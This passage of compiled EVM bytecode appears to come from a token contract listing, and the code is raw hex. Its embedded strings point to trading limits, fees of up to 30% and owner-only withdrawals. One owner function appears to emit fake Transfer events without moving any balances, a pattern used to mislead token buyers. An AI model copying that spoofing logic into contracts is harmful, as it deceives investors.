601683612aeb565b9150613c7a82613c39565b602082019050919050565b60006020820190508181036000830152613c9e81613c62565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613d01603583612aeb565b9150613d0c82613ca5565b604082019050919050565b60006020820190508181036000830152613d3081613cf4565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d6d601383612aeb565b9150613d7882613d37565b602082019050919050565b60006020820190508181036000830152613d9c81613d60565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613dff603683612aeb565b9150613e0a82613da3565b604082019050919050565b60006020820190508181036000830152613e2e81613df2565b9050919050565b6000613e4082612c0d565b9150613e4b83612c0d565b925082821015613e5e57613e5d613330565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613e9f602083612aeb565b9150613eaa82613e69565b602082019050919050565b60006020820190508181036000830152613ece81613e92565b9050919050565b600081519050613ee481612be1565b92915050565b600060208284031215613f0057613eff612ba5565b5b6000613f0e84828501613ed5565b91505092915050565b6000819050919050565b6000613f3c613f37613f3284613f17565b612faa565b612c0d565b9050919050565b613f4c81613f21565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613f8781612bcf565b82525050565b6000613f998383613f7e565b60208301905092915050565b6000602082019050919050565b6000613fbd82613f52565b613fc78185613f5d565b9350613fd283613f6e565b8060005b83811015614003578151613fea8882613f8d565b9750613ff583613fa5565b925050600181019050613fd6565b5085935050505092915050565b600060a0820190506140256000830188612ce6565b6140326020830187613f43565b81810360408301526140448186613fb2565b90506140536060830185613091565b6140606080830184612ce6565b9695505050505050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006140c6602683612aeb565b91506140d18261406a565b604082019050919050565b600060208201905081810360008301526140f5816140b9565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614158602483612aeb565b9150614163826140fc565b604082019050919050565b600060208201905081810360008301526141878161414b565b905091905056fea2646970667358221220318cd6318c92a78495ec532deb600042ce83cad4d9dc8435c24b227f6062ba4064736f6c634300080a0033000000000000000000000000a17798c2fc794072f9bf132d6b01b81c0a5fc2a7

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063e2f456051161006f578063e2f45605146107b8578063e57f14e1146107e3578063f2fde38b1461080c578063f8b45b0514610835578063ffb54a991461086057610225565b8063c8c8ebe4146106e3578063c9567bf91461070e578063cf9522fd14610725578063dd62ed3e14610750578063dd8546521461078d57610225565b8063a457c2d7116100f2578063a457c2d7146105ee578063a9059cbb1461062b578063afa4f3b214610668578063b18834aa14610691578063c2b7bbb6146106ba57610225565b806389291a8f146105585780638da5cb5b1461056f57806395d89b411461059a5780639a7a23d6146105c557610225565b80633be6e637116101a657806370a082311161017557806370a082311461049b578063715018a6146104d8578063751039fc146104ef5780637571336a146105065780637963e1d21461052f57610225565b80633be6e637146103f35780635178624c1461041c578063583e0568146104455780636ddd17131461047057610225565b806323b872dd116101ed57806323b872dd146102fa578063311028af14610337578063313ce56714610362578063346cc7be1461038d57806339509351146103b657610225565b806306fdde031461022a578063095ea7b31461025557806316e155241461029257806318160ddd146102cf57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f61088b565b60405161024c9190612b79565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c43565b61091d565b6040516102899190612c9e565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612cb9565b610940565b6040516102c69190612c9e565b60405180910390f35b3480156102db57600080fd5b506102e4610996565b6040516102f19190612cf5565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190612d10565b6109a0565b60405161032e9190612c9e565b60405180910390f35b34801561034357600080fd5b5061034c6109cf565b6040516103599190612cf5565b60405180910390f35b34801561036e57600080fd5b506103776109d5565b6040516103849190612d7f565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612cb9565b6109de565b005b3480156103c257600080fd5b506103dd60048036038101906103d89190612c43565b610bab565b6040516103ea9190612c9e565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612d9a565b610be2565b005b34801561042857600080fd5b50610443600480360381019061043e9190612f4e565b610c4d565b005b34801561045157600080fd5b5061045a610d52565b6040516104679190613009565b60405180910390f35b34801561047c57600080fd5b50610485610d76565b6040516104929190612c9e565b60405180910390f35b3480156104a757600080fd5b506104c260048036038101906104bd9190612cb9565b610d89565b6040516104cf9190612cf5565b60405180910390f35b3480156104e457600080fd5b506104ed610dd1565b005b3480156104fb57600080fd5b50610504610de5565b005b34801561051257600080fd5b5061052d60048036038101906105289190613024565b610e0a565b005b34801561053b57600080fd5b5061055660048036038101906105519190613064565b610e6d565b005b34801561056457600080fd5b5061056d610f73565b005b34801561057b57600080fd5b50610584611060565b60405161059191906130a0565b60405180910390f35b3480156105a657600080fd5b506105af61108a565b6040516105bc9190612b79565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190613024565b61111c565b005b3480156105fa57600080fd5b5061061560048036038101906106109190612c43565b6111c3565b6040516106229190612c9e565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d9190612c43565b61123a565b60405161065f9190612c9e565b60405180910390f35b34801561067457600080fd5b5061068f600480360381019061068a9190613064565b61125d565b005b34801561069d57600080fd5b506106b860048036038101906106b39190613116565b61128d565b005b3480156106c657600080fd5b506106e160048036038101906106dc9190612cb9565b61136a565b005b3480156106ef57600080fd5b506106f86113b6565b6040516107059190612cf5565b60405180910390f35b34801561071a57600080fd5b506107236113bc565b005b34801561073157600080fd5b5061073a6113fc565b6040516107479190612cf5565b60405180910390f35b34801561075c57600080fd5b5061077760048036038101906107729190613176565b611402565b6040516107849190612cf5565b60405180910390f35b34801561079957600080fd5b506107a2611489565b6040516107af9190612cf5565b60405180910390f35b3480156107c457600080fd5b506107cd61148f565b6040516107da9190612cf5565b60405180910390f35b3480156107ef57600080fd5b5061080a60048036038101906108059190612cb9565b611495565b005b34801561081857600080fd5b50610833600480360381019061082e9190612cb9565b611547565b005b34801561084157600080fd5b5061084a6115cb565b6040516108579190612cf5565b60405180910390f35b34801561086c57600080fd5b506108756115d1565b6040516108829190612c9e565b60405180910390f35b60606003805461089a906131e5565b80601f01602080910402602001604051908101604052809291908181526020018280546108c6906131e5565b80156109135780601f106108e857610100808354040283529160200191610913565b820191906000526020600020905b8154815290600101906020018083116108f657829003601f168201915b5050505050905090565b6000806109286115e4565b90506109358185856115ec565b600191505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600254905090565b6000806109ab6115e4565b90506109b88582856117b7565b6109c3858585611843565b60019150509392505050565b600a5481565b60006009905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a1f6115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610a3f57600080fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a7f91906130a0565b602060405180830381865afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac0919061322c565b905060008111610b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afc906132a5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610b629291906132c5565b6020604051808303816000875af1158015610b81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba59190613303565b50505050565b600080610bb66115e4565b9050610bd7818585610bc88589611402565b610bd2919061335f565b6115ec565b600191505092915050565b610bea612108565b60148211158015610bfc575060328111155b610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290613401565b60405180910390fd5b81600f81905550806010819055505050565b610c55612108565b60005b8251811015610d4d578160116000858481518110610c7957610c78613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610ce557610ce4613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610d329190612c9e565b60405180910390a28080610d4590613450565b915050610c58565b505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dd9612108565b610de36000612186565b565b610ded612108565b6000610df7610996565b905080600b8190555080600c8190555050565b610e12612108565b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eae6115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610ece57600080fd5b6000610ed8610996565b90506000610ee530610d89565b905060006064841415610efa57819050610f21565b60648484610f089190613499565b610f129190613522565b905081811115610f20578190505b5b81811115610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b906135c5565b60405180910390fd5b610f6d8161224c565b50505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fb46115e4565b73ffffffffffffffffffffffffffffffffffffffff1614610fd457600080fd5b60004711611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100e90613631565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561105d573d6000803e3d6000fd5b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611099906131e5565b80601f01602080910402602001604051908101604052809291908181526020018280546110c5906131e5565b80156111125780601f106110e757610100808354040283529160200191611112565b820191906000526020600020905b8154815290600101906020018083116110f557829003601f168201915b5050505050905090565b611124612108565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ac906136c3565b60405180910390fd5b6111bf82826124ab565b5050565b6000806111ce6115e4565b905060006111dc8286611402565b905083811015611221576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121890613755565b60405180910390fd5b61122e82868684036115ec565b60019250505092915050565b6000806112456115e4565b9050611252818585611843565b600191505092915050565b611265612108565b61126d6109d5565b600a61127991906138a8565b816112849190613499565b600d8190555050565b611295612108565b60005b83839050811015611364578383828181106112b6576112b5613421565b5b90506020020160208101906112cb9190612cb9565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113499190612cf5565b60405180910390a3808061135c90613450565b915050611298565b50505050565b611372612108565b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b6113c4612108565b6001600e60016101000a81548160ff0219169083151502179055506001600e60006101000a81548160ff021916908315150217905550565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b600d5481565b61149d612108565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb600060405161153c9190612c9e565b60405180910390a250565b61154f612108565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b690613965565b60405180910390fd5b6115c881612186565b50565b600c5481565b600e60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561165c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611653906139f7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c390613a89565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117aa9190612cf5565b60405180910390a3505050565b60006117c38484611402565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461183d578181101561182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613af5565b60405180910390fd5b61183c84848484036115ec565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118aa90613b87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a90613c19565b60405180910390fd5b600081141561193d576119388383600061254c565b612103565b611945611060565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b35750611983611060565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750600960149054906101000a900460ff16155b15611db757600e60009054906101000a900460ff16611b3957601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af95750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f90613c85565b60405180910390fd5b5b43601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c205750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cc757600b54811115611c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6190613d17565b60405180910390fd5b600c54611c7683610d89565b82611c81919061335f565b1115611cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb990613d83565b60405180910390fd5b611db6565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611d6a5750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db557600b54811115611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90613e15565b60405180910390fd5b5b5b5b6000611dc230610d89565b905060008082119050808015611de45750600e60019054906101000a900460ff165b8015611dfd5750600960149054906101000a900460ff16155b8015611e535750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ea95750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eff5750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f44576001600960146101000a81548160ff021916908315150217905550611f28836127c4565b6000600960146101000a81548160ff0219169083151502179055505b611f4d85610940565b15611f5c57611f5b85612958565b5b6000600960149054906101000a900460ff169050601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120115750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561201b57600090505b600081156120f357601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120a45761209d606461208f601054886129e290919063ffffffff16565b6129f890919063ffffffff16565b90506120cf565b6120cc60646120be600f54886129e290919063ffffffff16565b6129f890919063ffffffff16565b90505b60008111156120e4576120e387308361254c565b5b80856120f09190613e35565b94505b6120fe87878761254c565b505050505b505050565b6121106115e4565b73ffffffffffffffffffffffffffffffffffffffff1661212e612a0e565b73ffffffffffffffffffffffffffffffffffffffff1614612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90613eb5565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561226957612268612ddf565b5b6040519080825280602002602001820160405280156122975781602001602082028036833780820191505090505b50905030816000815181106122af576122ae613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612354573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123789190613eea565b8160018151811061238c5761238b613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846115ec565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612475959493929190614010565b600060405180830381600087803b15801561248f57600080fd5b505af11580156124a3573d6000803e3d6000fd5b505050505050565b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b390613b87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561262c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262390613c19565b60405180910390fd5b612637838383612a22565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156126bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b4906140dc565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127ab9190612cf5565b60405180910390a36127be848484612a27565b50505050565b60006127cf30610d89565b90506000808214156127e2575050612955565b6000601054600f546127f4919061335f565b14156128715760008211801561280b5750600d5482105b156128185781905061286c565b60006128426064612834601054876129e290919063ffffffff16565b6129f890919063ffffffff16565b905080846128509190613e35565b9350600d5484111561286657600d54915061286a565b8391505b505b612949565b60008211801561289557506128926005600d546129f890919063ffffffff16565b82105b156128a1575050612955565b6000821180156128c557506128c26005600d546129f890919063ffffffff16565b82115b80156128d25750600d5482105b156128f4576128ed6005600d546129f890919063ffffffff16565b9050612948565b600061291e6064612910601054876129e290919063ffffffff16565b6129f890919063ffffffff16565b9050808461292c9190613e35565b9350600d5484111561294257600d549150612946565b8391505b505b5b6129528161224c565b50505b50565b6129a0601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a2c565b6129df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129d69061416e565b60405180910390fd5b50565b600081836129f09190613499565b905092915050565b60008183612a069190613522565b905092915050565b600080612a19612a38565b90508091505090565b505050565b505050565b60004382119050919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ab757600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612adb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b1a578082015181840152602081019050612aff565b83811115612b29576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b4b82612ae0565b612b558185612aeb565b9350612b65818560208601612afc565b612b6e81612b2f565b840191505092915050565b60006020820190508181036000830152612b938184612b40565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bda82612baf565b9050919050565b612bea81612bcf565b8114612bf557600080fd5b50565b600081359050612c0781612be1565b92915050565b6000819050919050565b612c2081612c0d565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b60008060408385031215612c5a57612c59612ba5565b5b6000612c6885828601612bf8565b9250506020612c7985828601612c2e565b9150509250929050565b60008115159050919050565b612c9881612c83565b82525050565b6000602082019050612cb36000830184612c8f565b92915050565b600060208284031215612ccf57612cce612ba5565b5b6000612cdd84828501612bf8565b91505092915050565b612cef81612c0d565b82525050565b6000602082019050612d0a6000830184612ce6565b92915050565b600080600060608486031215612d2957612d28612ba5565b5b6000612d3786828701612bf8565b9350506020612d4886828701612bf8565b9250506040612d5986828701612c2e565b9150509250925092565b600060ff82169050919050565b612d7981612d63565b82525050565b6000602082019050612d946000830184612d70565b92915050565b60008060408385031215612db157612db0612ba5565b5b6000612dbf85828601612c2e565b9250506020612dd085828601612c2e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e1782612b2f565b810181811067ffffffffffffffff82111715612e3657612e35612ddf565b5b80604052505050565b6000612e49612b9b565b9050612e558282612e0e565b919050565b600067ffffffffffffffff821115612e7557612e74612ddf565b5b602082029050602081019050919050565b600080fd5b6000612e9e612e9984612e5a565b612e3f565b90508083825260208201905060208402830185811115612ec157612ec0612e86565b5b835b81811015612eea5780612ed68882612bf8565b845260208401935050602081019050612ec3565b5050509392505050565b600082601f830112612f0957612f08612dda565b5b8135612f19848260208601612e8b565b91505092915050565b612f2b81612c83565b8114612f3657600080fd5b50565b600081359050612f4881612f22565b92915050565b60008060408385031215612f6557612f64612ba5565b5b600083013567ffffffffffffffff811115612f8357612f82612baa565b5b612f8f85828601612ef4565b9250506020612fa085828601612f39565b9150509250929050565b6000819050919050565b6000612fcf612fca612fc584612baf565b612faa565b612baf565b9050919050565b6000612fe182612fb4565b9050919050565b6000612ff382612fd6565b9050919050565b61300381612fe8565b82525050565b600060208201905061301e6000830184612ffa565b92915050565b6000806040838503121561303b5761303a612ba5565b5b600061304985828601612bf8565b925050602061305a85828601612f39565b9150509250929050565b60006020828403121561307a57613079612ba5565b5b600061308884828501612c2e565b91505092915050565b61309a81612bcf565b82525050565b60006020820190506130b56000830184613091565b92915050565b600080fd5b60008083601f8401126130d6576130d5612dda565b5b8235905067ffffffffffffffff8111156130f3576130f26130bb565b5b60208301915083602082028301111561310f5761310e612e86565b5b9250929050565b60008060006040848603121561312f5761312e612ba5565b5b600084013567ffffffffffffffff81111561314d5761314c612baa565b5b613159868287016130c0565b9350935050602061316c86828701612c2e565b9150509250925092565b6000806040838503121561318d5761318c612ba5565b5b600061319b85828601612bf8565b92505060206131ac85828601612bf8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806131fd57607f821691505b60208210811415613211576132106131b6565b5b50919050565b60008151905061322681612c17565b92915050565b60006020828403121561324257613241612ba5565b5b600061325084828501613217565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b600061328f601283612aeb565b915061329a82613259565b602082019050919050565b600060208201905081810360008301526132be81613282565b9050919050565b60006040820190506132da6000830185613091565b6132e76020830184612ce6565b9392505050565b6000815190506132fd81612f22565b92915050565b60006020828403121561331957613318612ba5565b5b6000613327848285016132ee565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061336a82612c0d565b915061337583612c0d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133aa576133a9613330565b5b828201905092915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b60006133eb601683612aeb565b91506133f6826133b5565b602082019050919050565b6000602082019050818103600083015261341a816133de565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061345b82612c0d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561348e5761348d613330565b5b600182019050919050565b60006134a482612c0d565b91506134af83612c0d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134e8576134e7613330565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352d82612c0d565b915061353883612c0d565b925082613548576135476134f3565b5b828204905092915050565b7f5377617020616d6f756e74206578636565647320636f6e74726163742062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b60006135af602483612aeb565b91506135ba82613553565b604082019050919050565b600060208201905081810360008301526135de816135a2565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b600061361b601683612aeb565b9150613626826135e5565b602082019050919050565b6000602082019050818103600083015261364a8161360e565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006136ad603983612aeb565b91506136b882613651565b604082019050919050565b600060208201905081810360008301526136dc816136a0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061373f602583612aeb565b915061374a826136e3565b604082019050919050565b6000602082019050818103600083015261376e81613732565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156137cc578086048111156137a8576137a7613330565b5b60018516156137b75780820291505b80810290506137c585613775565b945061378c565b94509492505050565b6000826137e557600190506138a1565b816137f357600090506138a1565b8160018114613809576002811461381357613842565b60019150506138a1565b60ff84111561382557613824613330565b5b8360020a91508482111561383c5761383b613330565b5b506138a1565b5060208310610133831016604e8410600b84101617156138775782820a90508381111561387257613871613330565b5b6138a1565b6138848484846001613782565b9250905081840481111561389b5761389a613330565b5b81810290505b9392505050565b60006138b382612c0d565b91506138be83612d63565b92506138eb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137d5565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061394f602683612aeb565b915061395a826138f3565b604082019050919050565b6000602082019050818103600083015261397e81613942565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139e1602483612aeb565b91506139ec82613985565b604082019050919050565b60006020820190508181036000830152613a10816139d4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a73602283612aeb565b9150613a7e82613a17565b604082019050919050565b60006020820190508181036000830152613aa281613a66565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613adf601d83612aeb565b9150613aea82613aa9565b602082019050919050565b60006020820190508181036000830152613b0e81613ad2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f